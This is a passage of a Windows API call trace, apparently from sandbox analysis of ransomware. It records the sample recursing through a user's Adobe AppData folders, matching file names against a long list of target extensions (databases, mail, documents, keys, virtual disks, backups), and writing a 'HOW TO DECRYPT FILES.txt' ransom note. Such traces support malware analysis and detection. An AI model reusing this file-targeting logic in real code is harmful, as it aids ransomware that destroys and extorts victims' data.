(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\how to decrypt files.txt")) returned 0x2020 [0086.899] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\", lpString2="ReaderMessages" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages" [0086.899] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.ems") returned 0 [0086.899] lstrlenA (lpString="*.ems") returned 5 [0086.899] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.db") returned 0 [0086.899] lstrlenA (lpString="*.db") returned 4 [0086.899] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.dbf") returned 0 [0086.899] lstrlenA (lpString="*.dbf") returned 5 [0086.899] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.myox") returned 0 [0086.899] lstrlenA (lpString="*.myox") returned 6 [0086.899] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.myo") returned 0 [0086.899] lstrlenA (lpString="*.myo") returned 5 [0086.899] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.qbw") returned 0 [0086.899] lstrlenA (lpString="*.qbw") returned 5 [0086.899] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.qbb") returned 0 [0086.899] lstrlenA (lpString="*.qbb") returned 5 [0086.900] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.qbm") returned 0 [0086.900] lstrlenA (lpString="*.qbm") returned 5 [0086.900] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.qbo") returned 0 [0086.900] lstrlenA (lpString="*.qbo") returned 5 [0086.900] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.qbx") returned 0 [0086.900] lstrlenA (lpString="*.qbx") returned 5 [0086.900] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.qba") returned 0 [0086.900] lstrlenA (lpString="*.qba") returned 5 [0086.900] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.qby") returned 0 [0086.900] lstrlenA (lpString="*.qby") returned 5 [0086.900] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.qbj") returned 0 [0086.900] lstrlenA (lpString="*.qbj") returned 5 [0086.900] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.ofx") returned 0 [0086.900] lstrlenA (lpString="*.ofx") returned 5 [0086.900] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.qif") returned 0 [0086.900] lstrlenA (lpString="*.qif") returned 5 [0086.900] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.mye") returned 0 [0086.900] lstrlenA (lpString="*.mye") returned 5 [0086.900] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.mbox") returned 0 [0086.900] lstrlenA (lpString="*.mbox") returned 6 [0086.900] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.eml") returned 0 [0086.900] lstrlenA (lpString="*.eml") returned 5 [0086.900] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.pst") returned 0 [0086.901] lstrlenA (lpString="*.pst") returned 5 [0086.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.ost") returned 0 [0086.901] lstrlenA (lpString="*.ost") returned 5 [0086.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.idx") returned 0 [0086.901] lstrlenA (lpString="*.idx") returned 5 [0086.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.dbx") returned 0 [0086.901] lstrlenA (lpString="*.dbx") returned 5 [0086.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.sql") returned 0 [0086.901] lstrlenA (lpString="*.sql") returned 5 [0086.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.mdb") returned 0 [0086.901] lstrlenA (lpString="*.mdb") returned 5 [0086.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.fdb") returned 0 [0086.901] lstrlenA (lpString="*.fdb") returned 5 [0086.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.wab") returned 0 [0086.901] lstrlenA (lpString="*.wab") returned 5 [0086.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.dat") returned 0 [0086.901] lstrlenA (lpString="*.dat") returned 5 [0086.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.txt") returned 0 [0086.901] lstrlenA (lpString="*.txt") returned 5 [0086.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.jpeg") returned 0 [0086.901] lstrlenA (lpString="*.jpeg") returned 6 [0086.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.jpg") returned 0 [0086.901] lstrlenA (lpString="*.jpg") returned 5 [0086.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.png") returned 0 [0086.901] lstrlenA (lpString="*.png") returned 5 [0086.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.php") returned 0 [0086.901] lstrlenA (lpString="*.php") returned 5 [0086.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.cs") returned 0 [0086.902] lstrlenA (lpString="*.cs") returned 4 [0086.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.cpp") returned 0 [0086.902] lstrlenA (lpString="*.cpp") returned 5 [0086.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.rar") returned 0 [0086.902] lstrlenA (lpString="*.rar") returned 5 [0086.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.zip") returned 0 [0086.902] lstrlenA (lpString="*.zip") returned 5 [0086.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.html") returned 0 [0086.902] lstrlenA (lpString="*.html") returned 6 [0086.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.htm") returned 0 [0086.902] lstrlenA (lpString="*.htm") returned 5 [0086.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.xlsx") returned 0 [0086.902] lstrlenA (lpString="*.xlsx") returned 6 [0086.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.xls") returned 0 [0086.902] lstrlenA (lpString="*.xls") returned 5 [0086.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.mp4") returned 0 [0086.902] lstrlenA (lpString="*.mp4") returned 5 [0086.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.ppt") returned 0 [0086.902] lstrlenA (lpString="*.ppt") returned 5 [0086.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.pptx") returned 0 [0086.902] lstrlenA (lpString="*.pptx") returned 6 [0086.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.doc") returned 0 [0086.902] lstrlenA (lpString="*.doc") returned 5 [0086.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.dot") returned 0 [0086.902] lstrlenA (lpString="*.dot") returned 5 [0086.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.docx") returned 0 [0086.903] lstrlenA (lpString="*.docx") returned 6 [0086.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.7z") returned 0 [0086.903] lstrlenA (lpString="*.7z") returned 4 [0086.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.tar") returned 0 [0086.903] lstrlenA (lpString="*.tar") returned 5 [0086.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.bz2") returned 0 [0086.903] lstrlenA (lpString="*.bz2") returned 5 [0086.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.gz") returned 0 [0086.903] lstrlenA (lpString="*.gz") returned 4 [0086.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.mkv") returned 0 [0086.903] lstrlenA (lpString="*.mkv") returned 5 [0086.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.eml") returned 0 [0086.903] lstrlenA (lpString="*.eml") returned 5 [0086.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.msg") returned 0 [0086.903] lstrlenA (lpString="*.msg") returned 5 [0086.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.edb") returned 0 [0086.903] lstrlenA (lpString="*.edb") returned 5 [0086.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.accdb") returned 0 [0086.903] lstrlenA (lpString="*.accdb") returned 7 [0086.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.odb") returned 0 [0086.903] lstrlenA (lpString="*.odb") returned 5 [0086.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.java") returned 0 [0086.903] lstrlenA (lpString="*.java") returned 6 [0086.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.asm") returned 0 [0086.903] lstrlenA (lpString="*.asm") returned 5 [0086.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.pfx") returned 0 [0086.903] lstrlenA (lpString="*.pfx") returned 5 [0086.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.pem") returned 0 [0086.904] lstrlenA (lpString="*.pem") returned 5 [0086.904] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.p12") returned 0 [0086.904] lstrlenA (lpString="*.p12") returned 5 [0086.904] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.gpg") returned 0 [0086.904] lstrlenA (lpString="*.gpg") returned 5 [0086.904] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.vsd") returned 0 [0086.904] lstrlenA (lpString="*.vsd") returned 5 [0086.904] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.odg") returned 0 [0086.904] lstrlenA (lpString="*.odg") returned 5 [0086.904] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.raw") returned 0 [0086.904] lstrlenA (lpString="*.raw") returned 5 [0086.904] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.nef") returned 0 [0086.904] lstrlenA (lpString="*.nef") returned 5 [0086.904] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.svg") returned 0 [0086.904] lstrlenA (lpString="*.svg") returned 5 [0086.904] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.psd") returned 0 [0086.904] lstrlenA (lpString="*.psd") returned 5 [0086.904] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.vmx") returned 0 [0086.904] lstrlenA (lpString="*.vmx") returned 5 [0086.904] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.vmdk") returned 0 [0086.904] lstrlenA (lpString="*.vmdk") returned 6 [0086.904] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.vdi") returned 0 [0086.905] lstrlenA (lpString="*.vdi") returned 5 [0086.905] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.lay6") returned 0 [0086.905] lstrlenA (lpString="*.lay6") returned 6 [0086.905] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.mpeg") returned 0 [0086.905] lstrlenA (lpString="*.mpeg") returned 6 [0086.905] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.djvu") returned 0 [0086.905] lstrlenA (lpString="*.djvu") returned 6 [0086.905] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.tiff") returned 0 [0086.905] lstrlenA (lpString="*.tiff") returned 6 [0086.905] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.backup") returned 0 [0086.905] lstrlenA (lpString="*.backup") returned 8 [0086.905] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.pdf") returned 0 [0086.905] lstrlenA (lpString="*.pdf") returned 5 [0086.905] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.cert") returned 0 [0086.905] lstrlenA (lpString="*.cert") returned 6 [0086.905] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.docm") returned 0 [0086.905] lstrlenA (lpString="*.docm") returned 6 [0086.905] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.xlsm") returned 0 [0086.905] lstrlenA (lpString="*.xlsm") returned 6 [0086.905] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.dwg") returned 0 [0086.905] lstrlenA (lpString="*.dwg") returned 5 [0086.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.nd") returned 0 [0086.906] lstrlenA (lpString="*.nd") returned 4 [0086.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.tlg") returned 0 [0086.906] lstrlenA (lpString="*.tlg") returned 5 [0086.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.lgb") returned 0 [0086.906] lstrlenA (lpString="*.lgb") returned 5 [0086.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.mov") returned 0 [0086.906] lstrlenA (lpString="*.mov") returned 5 [0086.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.xdw") returned 0 [0086.906] lstrlenA (lpString="*.xdw") returned 5 [0086.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.ods") returned 0 [0086.906] lstrlenA (lpString="*.ods") returned 5 [0086.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.wav") returned 0 [0086.906] lstrlenA (lpString="*.wav") returned 5 [0086.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.mp3") returned 0 [0086.906] lstrlenA (lpString="*.mp3") returned 5 [0086.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.aiff") returned 0 [0086.906] lstrlenA (lpString="*.aiff") returned 6 [0086.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.flac") returned 0 [0086.906] lstrlenA (lpString="*.flac") returned 6 [0086.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.m4a") returned 0 [0086.906] lstrlenA (lpString="*.m4a") returned 5 [0086.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages", pszSpec="*.csv") returned 0 [0086.906] lstrlenA (lpString="*.csv") returned 5 [0086.906] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x530045, dwReserved1=0x74002e, cFileName="Search", cAlternateFileName="")) returned 1 [0086.907] lstrcmpA (lpString1=".", lpString2="Search") returned -1 [0086.907] lstrcmpA (lpString1="..", lpString2="Search") returned -1 [0086.907] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages") returned="ReaderMessages" [0086.907] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\", lpString2="Search" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search" [0086.907] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search") returned 72 [0086.907] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f220, dwReserved1=0x5035cc, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0086.908] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.908] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0086.909] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.909] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.909] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 0 [0086.909] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0086.909] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x530045, dwReserved1=0x74002e, cFileName="Search", cAlternateFileName="")) returned 0 [0086.909] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0086.909] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, 